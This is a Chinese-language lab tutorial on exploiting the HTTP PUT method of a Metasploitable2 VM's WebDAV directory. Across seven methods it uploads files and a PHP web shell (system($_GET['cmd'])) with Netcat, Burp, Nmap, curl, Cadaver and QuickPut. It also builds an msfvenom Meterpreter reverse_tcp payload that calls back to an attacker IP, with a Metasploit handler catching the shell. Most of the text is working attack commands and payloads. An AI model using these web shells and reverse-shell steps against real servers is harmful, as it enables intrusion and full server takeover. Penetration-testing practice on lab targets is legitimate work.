HTTP PUT方法利用的几种方式

HTTP PUT方法利用

在本文中，我们将会利用metasploitable2靶机上的HTTP PUT漏洞。通过此漏洞你可以轻而易举的向服务器上传恶意文件，并可以在meterpreter shell中获得整个服务器的访问权限。

上一篇文章我们讲过了如何使用Curl，Nmap和OpenSSL来测试HTTP方法。如果服务器启用了HTTP PUT方法，我们就可以利用它来上传指定的资源到目标服务器上，比如webshell或者恶意软件。

基本要求

· Metasploitable2 vm虚拟机--https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

· 攻击者kali VM虚拟机--https://www.kali.org/downloads/

· 漏洞路径--http://192.168.179.142/dav/

· 攻击者IP--192.168.179.141 

HEAD,GET,POST,CONNECT，这些方法是完全安全的，至少就HTTP方法本身而言是安全的。当然了，虽然请求本身可能也会有恶意参数，但参数跟方法是分离的，所以通常而言只应该启用这些方法。

PUT，DELETE这些方法最初是用来进行文件管理的。然而一些web服务器保留了最初的配置，依然支持这些方法。如此一来，你就可以任意修改或删除服务器文件系统中的文件了。

显然，如果启用了这些方法，你就容易遭到文件上传漏洞的攻击。

另外，如果你有业务需求必须启用这些方法，那么应该严格限制文件访问权限。

OPTIONS方法，这是一个判断方法，返回消息主要用于调试或者检查服务器其他方法是否启用。

TRACE方法，这个方法比较出乎意料，它是响应体中返回的判断方法，即整个HTTP请求。这包括请求体，也包括请求头，比如cookies和认证头等。

进入正题

识别HTTP服务器最简单最基本的形式就是查看HTTP响应头中色server字段。可以使用Netcat客户端发送HTTP请求来获取服务器的HTTP响应头。

Netcat绝对是一个神器，只要是有关TCP和UDP的都能使用Netcat。它可以打开TCP连接，发送UDP数据包，监听任意的TCP和UDP端口，进行端口扫描等。

在Debain系统上安装Netcat的命令是  “sudo apt-get install netcat”

使用Netcat来检测web服务器上启用了哪些方法，只要输入如下命令即可：

nc 192.168.179.142 80
OPTIONS /dav/ HTTP/1.1
Host: 192.168.179.142

按两次回车！

观察一下响应头字段可以发现启用了一些危险的方法，比如DELETE,TRACE,PROPFING,COPY,MOVE,LOCK和UNLOCK。

下面我们就来演示一下利用HTTP PUT方法的7种方法。

1.Netcat利用PUT方法

使用Netcat方法十分简单，输入下面几条命令即可：

nc 192.168.179.142 80
PUT /dav/hacked.txt HTTP/1.1
Host: 192.168.179.142

按两次回车！

可以看到hacked.txt文件已经成功创建，状态码是201，文件创建位置为/dav/目录。

2.BurpSuite利用PUT方法

众所周知，Burp是一款代理拦截神器，通过抓包，可以分析所有的GET和POST请求。

Burp是专门用来测试web应用的图形化工具。它是使用Java编写的，由PortSwigger安全团队开发。

Burp工具的功能模块包括Proxy,Scanner,Intruder,Spider,Repeater,Decoder,Comparer,Extender和Sequencer。

首先设置浏览器代理，访问http://192.168.179.142/dav/，抓包拦截请求，然后右击选择发送到Repeater模块。

查看下面的截图，你会发现左右连个面板，左边是请求,右边是响应。

现在我们来替换GET方法为PUT方法，上传一个yeahhub.php文件，文件里包含的是恶意内容或代码。

在请求头中输入PUT /dav/yeahhub.php HTTP/1.1，这将会通过PUT请求上传yeahhub.php文件到dav目录下。

然后在请求体中粘贴一下恶意代码。

<?php
system($_GET[‘cmd’]);
?>

在上面的截图中，可以看到响应状态码是201，这就意味着包含恶意代码的yeahhub.php文件已经成功上传。

验证一下，在浏览器地址栏中输入http://192.168.179.142/dav/yeahhub.php?cmd=uname-a，就能看到系统的内核版本。

Nikto扫描HTTP方法

Nikto是另一个开源的web扫描器，它可以对web服务器进行全面测试，包括6700个潜在的危险文件和程序，检查超过1250台服务器的过期版本和270台以上服务器版本的特定问题。

使用nikto扫描，只需在终端中输入“nikto -h http://192.168.179.142/dav/”

可以看到，高亮部分显示了多种HTTP方法是启用的。

3.Cadaver和Metasploit框架利用PUT方法

现在是时候上传恶意PHP文件来攻击服务器了，恶意文件我们将借助msfvenom命令来生成。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.141 LPORT=4444 -f raw > shell.php

可以看到恶意文件shell.php已经上传到服务器当前工作目录了。

扩展阅读：msfvenom所有payload示例

现在运行Cadaverer，这个工具已经默认安装在每一台kali上。

Cadaver是一款命令行工具，支持通过webdav协议来上传和下载文件。

使用Cadaver的命令是:

cadaver http://192.168.179.142/dav/“

现在你已经进入到目标机器的工作目录了。上传msfvenom生成的shell.php文件，如下所示

dav:/dav/> PUT /root/shell.php

验证一下文件是否成功上传，浏览器中输入“http://192.168.179.142/dav/“。

下一步是启动metasploit框架，然后使用 multi/handler利用脚本，如下所示：

使用multi/handlerexploit，在终端中输入以下命令：

use exploit/multi/handler
set LHOST 192.168.179.141
set LPORT 4444
set payload php/metrepreter/reverse_tcp
exploit

可以看到，反向TCP处理程序已经运行在192.168.179.141的4444端口上了，现在只要你访问shell.php，你就能获得TCP反向连接的Meterpreter shell会话了。

拓展阅读：通过wan利用metasploit远程攻击win10（无端口转发）

输入”sysinfo”来查看靶机的系统信息。当然，meterpreter会话中还有很多有用的命令，你们可以自行探索。

拓展阅读：meterpreter命令top60

Meterpreter是一种高级的，动态扩展的payload，它使用内存DLL注入stagers并且在运行时通过网络来进行扩展。通过stager套接字进行通信并且提供全面的客户端Ruby API。它还有历史命令，tab补全等功能。

4.Nmap利用PUT方法

如果服务器开启了PUT方法，你也可以用Nmap来上传恶意文件（Nmap是一款开源的端口扫描器和web漏洞利用工具）。

使用Nmap上传恶意文件命令：

nmap -p 80 192.168.179.142 -script http-put -script-args http-put.url ='/ dav / yeahhub_nmap.php'，http-put.file ='/ root / Desktop / yeahhub_nmap.php'

如图所示，yeahhub_nmap.php已经成功上传到/dav/目录下。

5.Metasploit利用PUT方法

Metasploit的辅助模块auxiliary/scanner/http/http_put模块也能上传文件。

这个模块也就是HTTP_PUT也可以充分利用配置不当的web服务器，通过PUT和DELETE方法来上传和删除服务器上的文件和内容。

命令如下：

use auxiliary/scanner/http/http_put

设置ACTION为PUT或DELETE。默认是PUT。如果没有指定文件名，该模块会随机生成字符串作为文件a.txt。如果设置为DELETE，那就需要指定文件名。

命令如下：

set RHOSTS 192.168.179.142
set path /dav/
set payload php/meterpreter/reverse_tcp
set filename yeah.php
set filedata file://root/Desktop/yeah.php
exploit

如图所示，yeah.php文件已经成功上传到web服务器中，路径是http://192.168.179.142/dav/yeah.php

6.CURL利用PUT方法

CURL也是一款很强大的命令行工具，可以使用各种协议进行传输数据。

使用CURL利用PUT方法的命令是

curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “YOUR TEXT HERE” http://192.168.179.142/dav/youhacked.php

可以看到，youhacked.php已经成功创建，验证也非常简单，只要访问http://192.168.179.142/dav/youhacked.php.即可。

你也可以通过下列命令来浏览文件路径：

curl -i -X PUT -H “Content-Type: application/xml; charset=utf-8″ -d @”/root/Desktop/file.php” http://192.168.179.142/dav/file.php

7.QuickPuT脚本利用PUT方法

QuickPut是python写的命令行工具，你可以利用该脚本通过HTTP PUT方法来上传文件到服务器。

下载QuickPut脚本，请参考informesh.net.

QuickPut语法格式：

python QuickPut.py <本地文件> <目标URL>

使用QuickPut，你只需要在终端下输入以下命令：

python QuickPut.py /root/Desktop/file.php http://192.168.179.142/dav/chetan_soni.php